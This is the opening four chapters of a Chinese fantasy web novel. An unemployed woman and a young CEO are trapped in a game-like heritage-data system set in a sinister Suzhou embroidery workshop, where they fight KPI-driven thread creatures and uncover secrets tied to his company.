《在非遗系统救老板》
1. 第 1 章
“世界上有''人粮''就好了,省好多事儿。”深夜林茉从便利店走出,怀抱一袋零食脚步慢悠。
失业躺平两年,整个人从社会洪流中剥离,从前她像个努力的泳者,现在她给自己的定位是一位顺流而下的漂浮者,悠悠晃晃,不再去定义和解释好坏。
无所事事,无所事事。
林茉忽然内心一动,轻声哼起小调,“好运来,祝你好运来~”
转弯时,不远处夜空中映着深蓝光影,如同一片数据空间与现实交融,开了新店?
“去看看。”林茉临时转变方向,“愿善良的人们天天好运来~”
路程很近,转弯、探头——
?
这是什么崭新的全息科技?
五道半透明人影悬浮在地面以上约一米,环成一道圆弧,他们均身穿休闲衣裤,寻常打扮,就像路上随时擦肩而过的上班族,但此时浑身缠满发光红线,它们刻板呆滞。
一位身材高挑挺拔的男人立于地面与之对峙,但奇怪的是,林茉觉得这个人很松弛、很无所谓。
这时,围起来的五道人影动了,角度变化,林茉清楚看到他们眼窝处突然滚动起“KPI未达标”的血色红字。
我的天——
林茉倒吸一口凉气,曾经身处职场的压力自动激活,两年没工作,想不到资本家居然搞出这种东西追着人催KPI。
男人身穿黑色风衣,下摆附近银线绣出一颗颗雨滴溅起的水花,又如同小小烟花一朵朵,跟随动作光线流转。他向一侧跨出一小步,刚好面向林茉,震惊买一送一——江砚?!
江砚可是明星般的人物,年纪轻轻接手陷入混乱大的江氏集团,被称为黑马企业家,甚至一度成为年度热词。江总本人却低调,很少参加行业会议,很少当众演讲。但由于出众的能力和优越长相,不仅倍受业内关注,还收获了不少仰慕者。
林茉眨眨眼,她已经看破职场退出江湖,“打扰了。”
她抱紧怀里的塑料袋,转身离开。
身后突然传来闷哼,林茉回头——
原本缠绕在全息人影身上的红线竟突然袭向江砚,他眼疾手快地一挥,便将几束握在手中,那些线很痛苦似的扭动,如同一条条鲜活愤怒的游蛇。其余的线在半空张牙舞爪,似乎在忌惮江砚的危险,又在准备随时发起攻击。
一边是危险疯狂诡异,一边是坚定果断松弛,好割裂的场面。
可林茉清楚看到,江砚不仅手在流血,大衣衣袖新增一道裂口——这些线不是虚拟的!
完不成KPI还体罚?
忽然有什么东西一闪而过,红色的,阴险地、狠厉地——
“干什么呢?!”林茉大喊一声。
江砚听到声音偏头看过来,刚好一根红线擦着耳侧直直冲出,一条忽然发动攻击的蛇,若刚刚江砚没动,那里正好是脖颈位置——
红线和江砚都愣住。
林茉:……
江砚率先反应,面色骤然严肃凌厉,对林茉低喊,“走!”
“好嘞。”林茉下意识回答。
随后厌恶皱眉,明明已经退出职场,怎么面对老板还是下意识会说“好”?
可红线却突然刺向林茉,她一时间来不及反应躲避,下一秒发现那些线长度不够,隔着一段距离对她呲牙咧嘴……
傻子吧。
还是走了,老板的事交给老板自己解决。
林茉刚作出决定,忽然感到背后有什么推了她一把,直直撞向把她视为新仇人的邪恶红线!
林茉:“啊——!”
江砚冲过来拉住林茉手腕,向自己身边用力一带,原本总是出现在电子屏幕上的温润俊脸神态焦急,性命攸关之际,林茉突然走神,她抱紧零食紧张地想:别给弄洒了。
江砚拉着林茉堪堪避开攻击的刹那,血色咒纹在两人皮肤上疯狂生长,机械音在脑海炸开:
【检测到107号基因,生命契约绑定成功,当前同步值100%,当前生命值200/2000】。
林茉感觉心脏被无形丝线绞紧,眼前的一切开始扭曲成漫天红线……
寒光闪烁,林茉失去意识前瞥见江砚手中有一把刀。
---
【生命值已绑定】
【生命值已同步】
【检测到异常基因,共生契约激活,对象107、001】
【用户名:107】
【年龄:未知】
【初始生命值:200】
【千丝绣坊已开启,任务“万线归宗”已开启】
【准备开启倒计时】
【任务倒计时:72:00:00】
【请选择初始道具,再睡一小时或——】
【您已获得道具:再睡一小时】
【您已成功使用道具】
……
【提示:玩家初始生命值较低,若生命值归零,玩家将被永久收入系统,检测到您已绑定生命契约,双方生命值同步,请注——】
吵死了——
闭嘴!
林茉悠悠转醒,眼前一片浓稠的暗红,仔细看似乎还在缓慢流淌。
!!
林茉吓得一个激灵,猛地睁开眼却发现什么都没有。
饿得发晕?做噩梦?
“终于醒了?”斯文男声传入耳畔,带着与她完全相反的淡然。
林茉彻底清醒,却依旧心有余悸,看到江砚神情无异才稍微安心,缓缓转动目光查看四周。
周围已经不是家附近那条小胡同,而是一片空地,眼前一座气派的四层木楼直入眼帘,屋脊纵横十字交错,瓦片流光溢彩,门口牌匾上书“千丝绣坊”四个大字。
……
这是穿越了还是没醒来呢?
林茉把已经到嘴边的“醒了”二字默默吞咽回去。
江砚似乎知道她的怀疑,“我们在一个叫风月锦绣的系统里。”
怕林茉以为自己听错,又重复一次:“这里是系统。”
风月锦绣?名字取得文雅,但怎么哪哪都不正常。
在江砚娓娓道来如同讲故事的叙事节奏里,林茉终于明白并相信:她莫名其妙进入一个叫《风月锦绣》的系统,要在72小时内完成那个什么“万线归宗”的任务,至于具体行动、完成标准一概不知。
“哦。”林茉不急不怕,盘腿而坐。
“我只是一条咸鱼,两年没工作了,”她把一边的零食袋放在腿上,低头翻找,“江老板您另请高明吧。”
江砚坐在林茉身边,并不为她的拒绝气恼,“不是我,是系统选择了你。”
“系统?”林茉本不相信,可是江砚神情坦然,不像撒谎,更何况他们之前毫不相干,确实没必要硬拉她这条咸鱼一起做任务——没保障。
江砚点头,他看出林茉似乎没有听说过这个系统。
“这样啊,”林茉松了一口气,掏出一袋肉松面包递给江砚,自己撕开一个巧克力棒,“那我怎么出去?让系统找别人去。”
江砚无奈轻笑,“不知道,我也想出去。”
一问三不知,好像忽然掉进真空里,哪哪都踩不实。
林茉努力回忆事件始末,“昨天几个人影是怎么回事
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?”
她本不想问江砚私事,但很明显被拉进系统和KPI人影与邪恶红线有直接联系,想出去只能从此处入手。
“那是冲着我来的,”江砚说得含糊,“这件事是我连累你。”
林茉对此有些不满,明明自己是见义勇为,“那你去做任务吧,我在这坐着,说不定系统受不了就会把我清出去。”
“你没听到吗?”江砚突然问。
“听到什么?”
“共生契约。”
共生契约——
林茉回想了一下那个很吵的声音喋喋不休的声音,好像有什么“107”,还有一堆的“已开启”“已激活”……当时她正不耐烦,又听到多睡一小时,所以果断确认,回笼觉醒来,把唠叨忘得所剩无几,只好实话实说,“没什么印象了。”
江砚:……
你要是我的员工已经被开除800次了!
“你看看手腕。”
林茉抬起手,发现自己左手手腕上环有一圈银色光亮纹路,如同一串花瓣,还挺好看。
“这是什么?”
江砚没有立刻回答,而是也举起了自己的左手,“共生契约。”
与林茉的花朵不同,江砚手腕上的图案是一圈细枝,上面有小小尖刺,类似荆棘,正与林茉手腕的图案一起有节奏地闪动,仿佛在同频呼吸。
……
“你??”林茉恍然,她指了指江砚又反手指回自己,“我??”
失业以来,林茉好久没接收过这么大的信息量。
……
花了好久才接受她和江砚突然就生死与共了的事实。
天将降大任啊,可是她不想接。
江砚语气一贯的平缓,他发音部位靠后,甚至带着一点鼻音的软糯,“我还想再活一阵,所以得麻烦你一起做任务。”
资本家。
就会叫人干活。
林茉环顾四周,除眼前这座古色古香的木楼和身边这一小片荒土空地,其余都是雾气蒙蒙的一片。
咸鱼可没有那么容易支配,“我尽量保证自己不死吧。”
江砚笑得随和,并不为林茉无所谓的态度气恼,“好,辛苦了。”
林茉眨了眨眼,“你真是江砚?”
“不然呢?”
---
倒计时步履不停,他们在这梳理来龙去脉的功夫,已经没了半小时。
其实林茉并不怕生命清零,但绝对不想连累江砚。
眼前可见只有这一座叫做千丝绣坊的四层木楼,想必任务就在里面。
这木楼……林茉皱眉。
“怎么了?”
厌恶感再次涌上心头。
“我刚醒来时,看到眼前一片暗红色,”林茉看向江砚,“这木楼给我的感觉和那片暗红一样,像……血液。”
林茉没有说自己为此感觉厌恶和恐怖。
江砚看了看木楼,又向四周环顾,只有一轮发白的太阳吊在上空,的确显得木楼有些阴暗,加上事发突然,所以他认为“血液”是林茉心理作用。
他“嗯”了一声,“感觉”这东西无凭无据,进入绣楼不可避免,倒计时还在继续,于是率先大步向前走,随口对林茉道“快走吧。”
什么态度!
林茉又想起昨天催KPI的那几个全息人,眼眶里的字也是暗红……这任务怕是不会太友好,江砚又很明显对她有所隐瞒。
资本家!
万恶的资本家!
还有,她的名字为什么叫107?难道说前面还有106个倒霉蛋?
能不能改名?
2. 第 2 章
刚推开门就被拦下。
一位身穿浅靛蓝色宋式汉服的女士在门口,低垂发髻挽一根木质发簪,彬彬有礼:“二位在此稍坐。”
林茉与江砚默默对视对视,在一旁的椅子上坐了下来,他们左右望了望,但有屏风遮挡,视物有限。
发簪女士拿出两张薄纸分给林茉和江砚,面带微笑,“请二位细细思索,为什么选择我们绣坊?能为绣坊创造哪些价值?有何异于常人的独特性?半柱香的时间,请将答案书写于纸上。”
林茉脱口而出,“不是你们叫我来的吗?”
话音刚落,林茉听到很轻的笑,来自坐在身侧的江砚。
但发簪女士仿佛没有听到,自顾自点燃一根短香,随后迈着频率很快的小碎步离开。
江砚嘴角还余有笑意,“你平时就是这样面试的吗?”
林茉垂下眼眸掩,再睁眼又是平时慵懒无所谓的模样,“姐姐不上班。”
说完拿起毛笔在那张纸上毫无章法地涂抹,片刻后出现一只呲着小虎牙的猫咪。
江砚:……
“江总别担心,我觉得既然系统选择我们,不会连任务的边都没碰到就让我们挂了的,咱们先试探试探它的底线。”
林茉这话番出乎意料,却颇有几分道理,不管面对的是什么,哪能乖乖叫人家牵着鼻子走,江砚点头,“听姐姐的。”
不要被动,不要受制于人。
……
林茉本来志得意满,江砚这一声猝不及防的“姐姐”让她气势忽然矮下来,小声嗔道:“瞎叫什么呢。”
就这样,一人交了呲牙小猫,一人交了白卷。
汉服女士捏着两张纸垂头不发一言,时间久到林茉甚至以为她卡住了。
良久才重新抬头,扯出机械笑容,“恭喜二位通过考核,正式加入千丝绣坊。”
林茉:……
江砚:……
林茉刚想在心中默默庆祝自己的小胜利,忽地五官凝住,片刻后小声问江砚,“你有没有闻到什么味道?”
汉服女士将两张纸随手丢掉,作出一个“请”的手势,“二位跟我来。”
江砚本就对味道敏感,早在林茉提出前他就闻到了若有若无的怪味,很难形容,有点……奇异的……臭?
走路时,林茉特地凑近发簪女士悄悄闻嗅,没味道。
---
若不是系统处处奇怪,千丝绣坊本身堪称为一个令人惊喜的好地方,宽敞气派,一层是陈列展示区,各种尺寸花样的绣品琳琅满目。
林茉在一幅小猫屏风面前流连许久,绣线流光溢彩,小猫栩栩如生。
“好精致好可爱啊。”
“这些都是我们千丝绣坊的作品,我们是订单制,楼上满满三层工作的绣娘都忙得吃力,所以才招二位进来,万线归宗需得加快进度。”
哈?
他们两个一窍不通的小白能加快什么进度?
林茉已经懒得开口,系统不靠谱,她喜爱摆烂,正好。
“万线归宗是什么?”江砚问。
发簪女士带领他们来到一处房间,推门而入,面色略带得意:“千丝绣坊的年度作品,重要得很。”
江砚别有深意地看向林茉。
林茉:?
江砚轻轻叹气,这是忘得有多彻底,他小声提醒:“刚进来时系统说过,任务叫万线归宗。”
这要是他的员工,公司大门都不会给她进!
林茉内心一动,“所以绣完这个就可以出去了?”
但内心却并不相信,又迟疑道:“会这么简单么?”
发簪女士不知从哪里拿出两套衣服分别交给他们,“二位先到里面换工服,我在此处等候,之后正式开始培训。”
管理还挺规范。
林茉是一套和发簪女士形制相似的汉服,浅杏色,窄袖短衫长裙,绣有简单的花草图案。
江砚则是一套黑色交领长袍,镶白色滚边。
老板就是老板,工作服穿起来也是气宇非凡,把一套棉布黑衣衬得高级又内敛。
---
培训在二楼,和一楼的震撼不同,简直像是个拥挤繁忙的车间。
“楼上不带二位参观了,同此处一样,都是工作区,”发簪女士将他们带到一处绣架旁,“四楼再向上有一处阁楼,切记不可随意进入。”
好的,得去阁楼看看。
培训还真的是在正正经经教刺绣,“苏绣以雅洁灵动精致著称,所以干活时千万用心,不合格是要受罚的。”
“看好,这是最基础的齐针。”导师绣娘拈着一根细针穿透布料。
连教几种针法,导师绣娘便回到自己的绣架前忙碌。林茉瞥去几眼,绣的好像是一位人物。
看到闪闪发光的银针绣线,林茉忽地想起进入系统前她看到江砚手中有一把短刀,林茉小声与江砚交头接耳,“系统可以带刀么?”
江砚一愣,随机领会林茉语意,“在我身上。”
“带我们参观那个人笑得很假。”
林茉点头,“我觉得她本来不想让我们通过的,还有刚刚一楼那些绣品,感觉也很不好。”
“不好?”
“你不是还夸可爱呢?”
林茉伸长脖子,更加靠近江砚声音更轻,“那是一开始我被震惊到了,后来整体看时,感觉很压抑,明明绣的都是吉祥图案。”
“压抑?”
林茉面露无奈,“自从开始感到压抑,看每幅作品都感觉怪怪的,连小猫都像电影里的邪恶猫妖。”
江砚知道女生都有很敏锐的直觉,但林茉直觉过于发达了,“你是怎么感觉到的?平时也这样吗?”
被江砚这样一问,林茉愣住了,她盯着江砚露出的锁骨呆呆道:“平时……没什么印象。”
又不太确定地补充一句:“没什么机会啊。”
江砚“嗯”了一声。
视线下移,林茉突然笑出声。
“怎么?”
林茉笑了一会儿才开口揶揄:“江总这可是总裁的手,还能拿绣花针。”
手指修长,还挺好看,更好玩的是再向上看时江砚居然脸红了,捏着绣花针不说话。
林茉笑得发抖。
发簪女士去而复返,“二位练习得怎么样?请认真学习双面绣法,以后经常用到。”
林茉答非所问,伸出手指戳了戳桌上绣绷,突然抬头:“为什么我是107号,这数字有什么讲究?我能改名字么?”
发簪女士脸上的职业微笑瞬间凝固,双眼虽然在看着他们,却如同突然失明一样空洞,她机械地转动头部,嘴巴提线木偶般一开一合:“权限…不足…禁止提问…”
林茉也突如其来的异变被吓了一跳,还没来得及接受,忽然被江砚挡着向后一推!
发簪女士眼眶裂开,无数猩红绣线喷涌而出,向林茉袭来,尽管江砚挡了她一下,但由于还是太近,红线瞬间袭至林茉眼前,林茉猛地后仰,绣线擦着她鼻尖掠过,猛地钉入身后墙壁——那里挂着一幅绣满婴孩的作品,绣线上的婴孩面孔突然扭曲哭嚎。
刺耳啼哭钻进耳朵,如同利爪在耳畔抓挠,难受极了。
红线一击不中,继续发动攻击,比上一次更加迅猛,林茉可没练过武术,尽管有江砚帮忙,两个回合之后还是开始体力不支,气喘吁吁,“这样下去不行,怎么能让她停下来?”<
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p>江砚挥动短刀再次割断袭来的绣线,被割断的绣线马上重组,“现在很难近她的身。”
林茉看到江砚猛然瞪大双眼,对她喊了句什么,她来不及分辨,因为一旁的导师绣娘突然向她出手,狠狠握住她的脖颈,江砚又被红线缠住无法帮忙。
“闭眼!”江砚疯狂挥刀,林茉最后隐约瞥见一只朱红□□的鸟雀在江砚身上亮起,荆棘纹路如活物般缠上他指尖。
共生契约有所感应,林茉感到自己手腕微烫。
……
“请两位认真学习双面绣技法……”发簪女士面对他们,脸上挂着一如既往的标准微笑。
林茉心还在砰砰如擂鼓,她盯着自己完好无损的鼻尖,低声道:“刚才不是……?”
“3分钟,时光倒流。”江砚脸色苍白,卷下袖子遮住朱雀纹身。
“时光倒流?”林茉诧异。
“我来是提醒二位,抓紧时间练习,接下来正式到万线归宗那边去工作,不能出一点差错。”发簪女士说完又迈着快步离开,好像忙得不行。
“刚进系统时选择道具技能,你没有吗?”江砚也在意外。
自从遇到林茉,一路都是意外。
林茉脑海里浮现画面,写着“道具已使用”。
……
林茉目光闪躲,“我,那个,选了多睡一小时。”
虽说离谱,但江砚稍微适应林茉作风,语气平稳:“留着以后用,不睡的话,也算是增加一小时时间。”
林茉声音更虚,“那个,用了。”
?
“什么时候?”
林茉轻轻戳着绣绷,“刚进系统就用了。”
??
这要是我的员工——!!
就说怎么等了那么久才醒!
“抱歉了,”林茉来不及表达歉意,“刚刚我问了编号她就发疯,你的名字是什么?也是编号吗?”
“嗯,我是001。”
“001??”
“那你是——如果是编号,你是第一个被拉进来的?”
江砚却摇头,“应该不是,你是107,我在,”江砚顿了顿,“遇见你那天之前没被系统主动接触过。”
所以不是按照进入系统顺序来编号?
没被系统主动接触过——江砚这说法看似正常,但弯弯绕绕似乎还是有所隐瞒。
---
“害怕吗?”江砚问。
“有点,”林茉缩得如同一只小猫,用气声回答,“但主要是很困。”
根据倒计时显示,之前的培训和练习共进行了六个多小时!晚上分别前林茉和江砚约定每晚等其他人睡下后见面同步信息,今晚去探神秘阁楼。
自从来到系统,大脑就在全速运转,加上还真的练习好久苏绣针法,林茉好想睡一大觉。
无奈重任在身啊。
诺大千丝绣坊一片漆黑,他们摸到楼梯向二楼去,转弯时林茉忽地停住。
“刚刚你有没有看到什么东西在动?”
“哪里?”
林茉指了个方向,“就那边,好像有什么动了一下。”
江砚顺着手指方向仔细查看,一幅幅作品静静定在黑暗中,形成大大小小的黑影,忽然想到那句话:当你凝望深渊,深渊也在凝望你。
可是他们盯了好久,深渊依旧静默。
“可能是我看错了,先走吧。”林茉轻轻扯动江砚衣袖。
深夜里走不快,脚步一声一声,如同心跳。
咚咚咚——
“等一下。”江砚急急停下,伸手拉住林茉手腕,力道很大。
“怎么了?”
“这楼梯不对。”
3. 第 3 章
“算算我们走过的级数,”江砚停顿,似乎在等林茉计算,“早应该到阁楼了。”
啊——
林茉后背发凉,困意退去一大半,她望向头顶蜿蜒的黑影,后知后觉地意识到的确走了很久,“这……”
“咱们还能回去吗?”
事实给出的回答令人心头一颤——楼梯突然变成一条不见首尾的诡异长蛇,将他们宥于其中。
“跟在我身后。”江砚率先转向通往楼层内部的走廊,林茉紧跟上去,双手环握江砚手臂。
楼梯设计也奇怪,一路上都看不到每层楼的内部,去往楼层皆需转过一条小走廊,此刻那条短短的走廊显得极其幽深,如同某种生物的食道。
“等一下!”林茉双手突然收紧,“好像有声音!”
因直接接触,林茉感受到江砚身体明显紧绷起来,但他轻轻拍了拍林茉的手。
的确是有声音,一下一下,微小密集。
林茉深呼吸一口气,尽量坚定地说:“走吧,没事的。”
---
一位女孩子静静坐着,长发松拢,正在借着窗外月光……刺绣,林茉听到的就是绣针连续快速穿透布料的声音。
林茉和江砚面面相觑,经过上一次的惊心动魄,他们同时都没有动作。
刺绣女孩像是有所觉察,停下动作缓缓转头——
林茉不自觉加重手上力道。
是一位眉目清秀的女孩子,她也被吓了一跳,轻喊出声。
女孩叫晓晗,解释说因自己在意绣品质量,导致刺绣速度落于人后,所以趁晚上大家休息独自赶进度。
林茉想到自己曾经猛猛加班的经历,不自觉看了江砚一眼,暗自吐槽:资本家。
江砚接收到突如其来的怨念:?
晓晗给他们的感觉和之前接触的两位都不一样,更真实、更像个人。
林茉大胆问道:“我们是今天新来的,晚上在这里练习,想离开却发现迷了路,晓晗打算到何时?方便带我们出去么?”
“当然。”晓晗应得爽快,还不忘宽慰他们“初来绣楼,的确容易迷路。”
“哴哴哩咯~”
晓晗下楼时无意间哼唱起来,听不懂歌词,似某个民族的方言。
---
林茉一身的起床气。
倒计时显示58:15:06,只睡了4小时!
不对啊,她大概计算了一下夜探绣楼所用时间,最多只有一小时,所以这里规定的睡觉时间只有5小时?
想造反。
还好任务时限72小时,咬咬牙再坚持一下吧。
---
培训结束,万线归宗正式开始。
绣品规模巨大,每人只负责自己面前的一小块区域,没有人知道万线归宗到底长什么样子,只是按照标记低头一针一针一针一针……
戳了没几下,林茉开始东张西望,发现除了她大家都在专心刺绣——包括江砚。
新奇,难不成江总私底下有这种爱好?
“哎!”尖锐绣针戳到手指,刺痛后渗出一滴圆润的血珠。
“怎么了?”江砚问。
“没事,”林茉甩甩手指,“好容易刺到自己。”话音刚落,就眼见江砚和她如出一辙地快速蹙眉。
林茉莫名想笑,“你也中招了?”
江砚点头,表情像个乖小孩。
再多做几天,这双手必定千疮百孔。
想到这,林茉好奇观察其他人,她们动作比林茉还快得多,虽说熟练,但每天长时间工作,也会刺到自己很多次吧。
果然——
目光所及之处,所有人的手仔细去看都很粗糙,有受伤痕迹,有些人甚至手部已经变形,即使放下绣针也维持着捏合姿态。
唉。
“咳。”江砚轻声提醒。
林茉赶紧收回目光,急急绣了几笔,这绣绷会自动检测刺绣针数和进展,一旦发现人停顿过长就发出警告,发簪女士便会来查看。
林茉用不熟练搪塞数次,但后来江砚似乎掌握了间歇极限,一旦林茉偷懒时间接近就主动提醒。
极限只有五秒钟。
江砚莫名想起昨晚林茉与晓晗的对话。
“别人都不管质量,你为什么要在乎呢?额外加班又不给钱。”
“我真的很喜欢我的每一幅作品,想尽我所能让它好一些。”
以林茉的头脑和性子,一定发现了只要手上保持刺绣动作即可避免触发绣绷警告,
只要不错得太离谱,但她没有。
---
林茉昏昏欲睡,不经意抬眼一瞥,倒吸一口凉气,赶紧去拉江砚,“你看她的针——”
江砚看过去。
那人的绣针从绣绷背面回刺,已经扎入左手食指,但她却浑然不觉仍在用力,眼见着针持续深入,让人鸡皮疙瘩起了一层又一层。
终于,针尖穿透皮肉,将手指和绣布缝在一起。
那人直至看到针尖才有所察觉,面无表情用力将针抽出,鲜红血滴落到绣布上,不待晕染便被自动清理,然后不断滴落、清理……毫无痕迹。
绣楼里只有刺绣声音,这一幕除了林茉和江砚无人在意。
“她们,”林茉感到后怕,“不痛吗?”
林茉忽然升起一阵起一阵愤怒,她想到晓晗,或许大家一开始都有自己的愿望和疼痛,并非刺绣机器。
---
再探阁楼时他们决定先在内楼内寻找线索。
林茉有些疲惫,提不起斗志。
江砚:“我白天有一个发现。”
他们在一楼展示区查看绣品,这些表面精美的东西让林茉不太舒服,她有气无力地问:“什么?”
江砚抛出个重磅消息:“绣线和那天攻击我的似乎是同一种。”
林茉眼神一亮,“真的?”
“嗯,”江砚说得笃定,今天一直在观察,这线从特定看有金属光泽,触感也相似,”它顿了顿,有些困惑地补充:“好像还有什么在里面流动。”
难怪一直认真刺绣。
林茉应了一声,脑海中有什么倏忽闪过。
江砚继续道:“那天它能对我造成真实伤害,所以我怀疑这线能连接现实。”
对!
林茉抓住了脑子里的想法,“现实!这会不会是我们出去的线索?”
“有可能,无论如何都是个能深入的方向。”
“等下上去看看。”
一层的绣品完全能够撑起一座博物馆,一个个绣品看过去,花草、古树、动物、建筑、人物……小到香囊,大到一整面墙壁那么大的装饰画,应该有尽有。
“等一下!”
“刚刚刚刚,”林茉贴在江砚身边,伸出颤抖的手指,“她的眼睛在动!”
那是一幅人物图,精美的针法绣着一位女子坐于席上弹拨箜篌。
林茉说,弹琴女子的眼睛刚刚动了。
整座绣楼中有那么多眼睛……
---
三
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楼旧是晓晗独自一人在赶进度,她不时用手揉捏酸痛的脖颈,纤细的身影在一片绣架中显得异常弱小,仿佛不是她在刺绣,而是在被刺到来。
温和林茉来了之后,温柔开口:“你们要回去了?需要我带路吗?”
林茉摇头,走过去观看晓晗的绣品,“在绣什么?”
“四时花鸟图。”
春樱、夏荷、秋菊、冬梅,整幅图已完成大半,只余一支冬梅暂未添绣花朵,月光透过纱布映照下来,在地上投出拉长的影子。
花朵栩栩如生,小鸟灵动可爱,给人宁静的治愈感。
“晓晗绣得真好看。”
?!
林茉悄悄牵扯江砚衣袖,“江砚你看。”
林茉快速指了指地上投影,发现四幅图恰好组成某种图腾纹样,那未开花的梅枝如同指针坚定地指向一个方向。
他们下意识顺着所指方向望过去,入目还是泛着森森荧光的绣线,这时月光变换,冬梅枝所指方向,一根绣线悄悄转化成了金色……
“接近丑时三刻,”晓晗突兀地说,“我得回去了,你们注意安全。”
说罢又哼起那首民歌,身影渐行渐远直至消失。
林茉与江砚互相对视,待晓晗彻底离开后,前去查看金线
。
“哩哩啷咯~”林茉也跟着哼,因为晓晗总是这一个调调,很洗脑。
忽然间光芒更盛,一缕穿透阴暗的阳光箭矢般朝远处直射出去,甚至穿透墙壁。
花影为路,金丝作桥。
林茉和江砚脑海中同时出现这句话,优美飘逸,金光闪闪。
他们对视一眼,同时迈出第一步,起跑。
就是现在!
原本倒计时之下又出现倒计时:00:00:10
他们有10秒的时间跟随金线去往阁楼!
江砚在前,林茉紧随其后,到达阁楼门口时江砚停住却没有开门,而是居高临下地回望林茉。
林茉喘息不匀地催促,“快开——”
江砚忽然冷笑,整个人笼在黑暗中,眼神晦暗不明,“现在还不是时候。”
说罢伸出手搭上林茉肩头,轻轻一推。
林茉震惊加上毫无防备,来不及做任何反应和思考,只是奇怪居然没有感到磕到楼梯的疼痛,失重的感觉如坠深渊。
又要挂了吗?
共生契约悄然亮起,茉莉荆棘纹遥相呼应,江砚如遭雷劈,狠狠打了个冷颤,“姐姐!”
说罢一跃而下。
朱雀纹身变成越来越炽烈的红色,如同火焰熊熊燃烧,失去意识前林茉看到一根连着江砚的红色绣线悄然断开。
---
“你的同龄人已年薪百万。”
“35岁,你还有用吗?”
“学渣创业成功,曾经的学霸为其打工。”
“今天不学习,明天变垃圾。”
“你不努力,有的是人愿意拼命。”
林茉坐在江砚床边,系统发现晨间铃声催不动江砚和林茉后,居然搬出制造焦虑这一套,可惜啊姐姐是条咸鱼。
昨晚江砚被红线控制将她推下楼去,随她一跃而下,之刻幡然醒悟,跳下来后楼梯恢复,江砚抱着她摔了个结实,她没事,按理说江砚应该也是皮外伤,但却一直没有醒来。
林茉想起荆棘缠绕的炽烈红鸟,江砚纹身到底是什么呢?
不管怎样,林茉决定掀翻牌桌不玩了。
跟着它的规则会永远被动,不如疯一把。
4. 第 4 章
“你怎么在这?”江砚睁开眼,林茉宁静的侧脸伴随第一缕光线进入视野。
“我在绣楼等你,看你一直没来,就来找你了。”
江砚不动声色撑起手臂挪远,目光却一直看向林茉,轻声道:“这是男寝。”
林茉大大方方,语气坦荡豪迈,“江总,咱们现在是在乎这个的时候吗?”
江砚垂眸沉默,昨夜林茉跌下楼去的场景重现,伴随头痛海浪般上涌,他强忍不适下床,“昨天对不起,不管你信不信,我不是有意推你,咱们暂时分开行动。”
“我知道。”林茉说,说话间心口忽然产生一股毫无缘由的微弱波动,带来细小疼痛与酸楚。
一定是最近太累了。
江砚:?
“你知道?”
林茉神色凝重,“因为你被绣线控制,我后来看到绣线从你身上断开。”
江砚心头一沉,“绣线能控制人?那其他人呢?”
林茉摇头,“其他人身上暂时没有发现绣线。”
“还有,”林茉眼神流露出些许不自在,“我叫林茉,不用叫姐姐。”
那波动又更强烈了一点,随后消失不见,如同海浪涌上沙滩又退去,无影无踪。
江砚原本凝重的神情柔和几分,掏出怀中的刀,递给林茉,“这个你拿着。”
绣线能毫无察觉地控制人,处境又危险了几分。
林茉诧异,“给我?为什么?”
“绣线可以被刀切断,虽然只是暂时干扰,但如果下次我再……你也多个保命手段。”
林茉接过短刀收入怀中,“那天你为什么会随身带刀?”
“他们起初只是跟着我,所以我有时间防备。”
江砚表情犹豫,似乎还有话要说,“其实,我之前对你有所隐瞒。”
林茉对此早有怀疑,面容平静看着江砚,眼神如海面平静幽深,一眨一眨,如同海面上的星光。
“我没有告诉你,”江砚移开了目光,“这系统是我公司的。”
“你公司的??”
果然不知道。
江砚缓缓讲述:“它原本是非遗数据系统,开发很久了,数据包罗万象且详细,只是技术老旧。几年前我父亲把它买过来,打算用全息技术加以升级并改编游戏,但中途搁置,我接手公司也认为这项目很有潜力,所以公司经营稳定后继续着手开发。不久之后,那几个人影出现,起初只是跟着我,遇到你的那天才开始攻击。”
林茉消化了一会儿,毕竟她和江砚生命值绑定,即使江砚有所隐瞒,一旦发生意外,她这个光脚的也无所畏惧。
假设江砚没有说谎,她想到那些人眼中滚动的红字,“所以,系统想催你快一点?完成游戏开发?”
江砚摇头,“不知道,也许吧。”
这是不是说明系统拥有自主意识?林茉甩甩头,试图抛掉这个危险的猜想。
“你的纹身又是怎么回事?”
眼前仿佛又出现那只赤红如火焰流动的朱雀。
江砚也困惑,“我还在读书时就有了,已经二十多年,一直都是普通纹身。”
说实话他的人生在突然遭遇系统之前也一直正常,但事情毕竟因他而起,没必要解释太多。
林茉回想起纹身两次出现异样的时刻,一次是她询问名字,导致发簪女士和师父绣娘暴走攻击,江砚使用时光倒流技能,时间回溯结束后,第一次看到纹身亮起;第二次是江砚被绣线控制将林茉推下楼,引发了共生契约,纹身再次亮起,之后江砚突然清醒,跃下楼梯救她。
这两次都是江砚面临生命危险,所以纹身关键时刻能保命?
自带乱来buff?
事实通常不会如此简单,可以看出纹身启动对他消耗很大,而且他第一反应的困惑不像伪装,“你现在感觉怎么样?”
“没事,等下收拾好就去绣楼。”
林茉:“说实话。”
……
江砚动作凝滞一瞬,随后诚实回答:“真没什么,就是头痛,感觉有点累。”
林茉是怎么看出他不舒服的?明明表现得很正常。
“给我看看你的纹身。”
江砚挽起衣袖,一只振翅欲飞的朱雀环绕上臂,下方手腕处就是荆棘共生契约。
荆棘……?
“这,”林茉轻触江砚手臂,“原来没有吧?”
江砚表情并不意外,看来是他早有发现。
朱雀纹身底部,不知何时出现一枚小小细枝,和手腕处的荆棘如出一辙。
共生契约可以生长?可是林茉的毫无变化。
满腹疑问并未得到实质性解答,林茉替江砚放下衣袖,“我们以后谨慎些,纹身目前来看虽能保命,但消耗很大,或许还有我们不知道的影响,尽量别触发。”
江砚在洗漱没有回答,再开口就是:“我们还是应该……”
“江砚,”林茉第一次叫他全名,感觉还挺新奇,于是偷偷品味一秒,“虽然很多事情还不清楚,但可以确定目前需要一起完成任务才能离开,我们有共同目标,是搭档,何况还有生命契约,所以更应该坚定地站在一起,合力总比一个人力量大。”
这番话彻彻底底出乎江砚预料,印象中林茉总是无所谓的模样,不喜欢一口气说太多,难得如此郑重,“知道了。”
林茉长舒一口气,果然叫大名就是管用。
一口气还未舒完,门突然动了!
林茉悚然一惊,江砚伸出手臂拦在她身前。
几道阴影鱼贯而入,无声却充满压迫,将他们被合围在中央,一如初次相遇那晚——正是同款KPI怪人!
只是这次眼眶处循环滚动的红字有所改变:警告!已迟到!警告!已迟到!
林茉压住油然而起的愤怒和叛逆,“走吧。”
---
直至他们绣出第一笔,那些压抑的人影才默默离开,整个过程没有在绣坊内引起一丝丝波澜,没有人在意别人,哪怕这个人突然消失。
